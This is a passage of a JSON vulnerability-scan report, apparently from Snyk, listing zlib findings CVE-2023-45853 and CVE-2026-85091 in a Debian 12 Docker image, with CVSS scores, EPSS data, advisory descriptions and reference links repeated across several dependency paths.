"url": "https://www.winimage.com/zLibDll/minizip.html",
"title": "https://www.winimage.com/zLibDll/minizip.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nMiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2023-45853](https://security-tracker.debian.org/tracker/CVE-2023-45853)\n- [http://www.openwall.com/lists/oss-security/2023/10/20/9](http://www.openwall.com/lists/oss-security/2023/10/20/9)\n- [http://www.openwall.com/lists/oss-security/2024/01/24/10](http://www.openwall.com/lists/oss-security/2024/01/24/10)\n- [https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356](https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356)\n- [https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61](https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61)\n- [https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4](https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4)\n- [https://github.com/madler/zlib/pull/843](https://github.com/madler/zlib/pull/843)\n- [https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html](https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html)\n- [https://pypi.org/project/pyminizip/#history](https://pypi.org/project/pyminizip/#history)\n- [https://security.gentoo.org/glsa/202401-18](https://security.gentoo.org/glsa/202401-18)\n- [https://security.netapp.com/advisory/ntap-20231130-0009/](https://security.netapp.com/advisory/ntap-20231130-0009/)\n- [https://www.winimage.com/zLibDll/minizip.html](https://www.winimage.com/zLibDll/minizip.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-398330.html](https://cert-portal.siemens.com/productcert/html/ssa-398330.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-470355.html](https://cert-portal.siemens.com/productcert/html/ssa-470355.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-769027.html](https://cert-portal.siemens.com/productcert/html/ssa-769027.html)\n",
"epssDetails": {
"percentile": "0.88815",
"probability": "0.03448",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2023-45853"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "zlib",
"creationTime": "2023-10-19T04:21:07.782934Z",
"disclosureTime": "2023-10-14T02:15:09.323000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2023-10-19T04:21:02.193720Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:04:01.985087Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-19520487",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-85091",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-85091"
},
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-85091](https://security-tracker.debian.org/tracker/CVE-2026-85091)\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-09-04T04:42:43.528839Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-04T04:42:43.535393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:01.972206Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-6008963",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2023-45853",
"title": "https://security-tracker.debian.org/tracker/CVE-2023-45853"
},
{
"url": "http://www.openwall.com/lists/oss-security/2023/10/20/9",
"title": "http://www.openwall.com/lists/oss-security/2023/10/20/9"
},
{
"url": "http://www.openwall.com/lists/oss-security/2024/01/24/10",
"title": "http://www.openwall.com/lists/oss-security/2024/01/24/10"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356",
"title": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61",
"title": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61"
},
{
"url": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4",
"title": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4"
},
{
"url": "https://github.com/madler/zlib/pull/843",
"title": "https://github.com/madler/zlib/pull/843"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html",
"title": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html"
},
{
"url": "https://pypi.org/project/pyminizip/%23history",
"title": "https://pypi.org/project/pyminizip/%23history"
},
{
"url": "https://security.gentoo.org/glsa/202401-18",
"title": "https://security.gentoo.org/glsa/202401-18"
},
{
"url": "https://security.netapp.com/advisory/ntap-20231130-0009/",
"title": "https://security.netapp.com/advisory/ntap-20231130-0009/"
},
{
"url": "https://www.winimage.com/zLibDll/minizip.html",
"title": "https://www.winimage.com/zLibDll/minizip.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nMiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2023-45853](https://security-tracker.debian.org/tracker/CVE-2023-45853)\n- [http://www.openwall.com/lists/oss-security/2023/10/20/9](http://www.openwall.com/lists/oss-security/2023/10/20/9)\n- [http://www.openwall.com/lists/oss-security/2024/01/24/10](http://www.openwall.com/lists/oss-security/2024/01/24/10)\n- [https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356](https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356)\n- [https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61](https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61)\n- [https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4](https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4)\n- [https://github.com/madler/zlib/pull/843](https://github.com/madler/zlib/pull/843)\n- [https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html](https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html)\n- [https://pypi.org/project/pyminizip/#history](https://pypi.org/project/pyminizip/#history)\n- [https://security.gentoo.org/glsa/202401-18](https://security.gentoo.org/glsa/202401-18)\n- [https://security.netapp.com/advisory/ntap-20231130-0009/](https://security.netapp.com/advisory/ntap-20231130-0009/)\n- [https://www.winimage.com/zLibDll/minizip.html](https://www.winimage.com/zLibDll/minizip.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-398330.html](https://cert-portal.siemens.com/productcert/html/ssa-398330.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-470355.html](https://cert-portal.siemens.com/productcert/html/ssa-470355.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-769027.html](https://cert-portal.siemens.com/productcert/html/ssa-769027.html)\n",
"epssDetails": {
"percentile": "0.88815",
"probability": "0.03448",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2023-45853"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "zlib",
"creationTime": "2023-10-19T04:21:07.782934Z",
"disclosureTime": "2023-10-14T02:15:09.323000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2023-10-19T04:21:02.193720Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:04:01.985087Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"util-linux@2.38.1-5+deb12u3",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-19520487",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-85091",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-85091"
},
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-85091](https://security-tracker.debian.org/tracker/CVE-2026-85091)\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-09-04T04:42:43.528839Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-04T04:42:43.535393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:01.972206Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"apt@2.6.1",
"apt/libapt-pkg6.0@2.6.1",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-6008963",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2023-45853",
"title": "https://security-tracker.debian.org/tracker/CVE-2023-45853"
},
{
"url": "http://www.openwall.com/lists/oss-security/2023/10/20/9",
"title": "http://www.openwall.com/lists/oss-security/2023/10/20/9"
},
{
"url": "http://www.openwall.com/lists/oss-security/2024/01/24/10",
"title": "http://www.openwall.com/lists/oss-security/2024/01/24/10"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356",
"title": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61",
"title": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61"
},
{
"url": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4",
"title": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4"
},
{
"url": "https://github.com/madler/zlib/pull/843",
"title": "https://github.com/madler/zlib/pull/843"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html",
"title": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html"
},
{
"url": "https://pypi.org/project/pyminizip/%23history",
"title": "https://pypi.org/project/pyminizip/%23history"
},
{
"url": "https://security.gentoo.org/glsa/202401-18",
"title": "https://security.gentoo.org/glsa/202401-18"
},
{
"url": "https://security.netapp.com/advisory/ntap-20231130-0009/",
"title": "https://security.netapp.com/advisory/ntap-20231130-0009/"
},
{
"url": "https://www.winimage.com/zLibDll/minizip.html",
"title": "https://www.winimage.com/zLibDll/minizip.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nMiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2023-45853](https://security-tracker.debian.org/tracker/CVE-2023-45853)\n- [http://www.openwall.com/lists/oss-security/2023/10/20/9](http://www.openwall.com/lists/oss-security/2023/10/20/9)\n- [http://www.openwall.com/lists/oss-security/2024/01/24/10](http://www.openwall.com/lists/oss-security/2024/01/24/10)\n- [https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356](https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356)\n- [https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61](https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61)\n- [https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4](https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4)\n- [https://github.com/madler/zlib/pull/843](https://github.com/madler/zlib/pull/843)\n- [https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html](https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html)\n- [https://pypi.org/project/pyminizip/#history](https://pypi.org/project/pyminizip/#history)\n- [https://security.gentoo.org/glsa/202401-18](https://security.gentoo.org/glsa/202401-18)\n- [https://security.netapp.com/advisory/ntap-20231130-0009/](https://security.netapp.com/advisory/ntap-20231130-0009/)\n- [https://www.winimage.com/zLibDll/minizip.html](https://www.winimage.com/zLibDll/minizip.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-398330.html](https://cert-portal.siemens.com/productcert/html/ssa-398330.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-470355.html](https://cert-portal.siemens.com/productcert/html/ssa-470355.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-769027.html](https://cert-portal.siemens.com/productcert/html/ssa-769027.html)\n",
"epssDetails": {
"percentile": "0.88815",
"probability": "0.03448",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2023-45853"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "zlib",
"creationTime": "2023-10-19T04:21:07.782934Z",
"disclosureTime": "2023-10-14T02:15:09.323000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
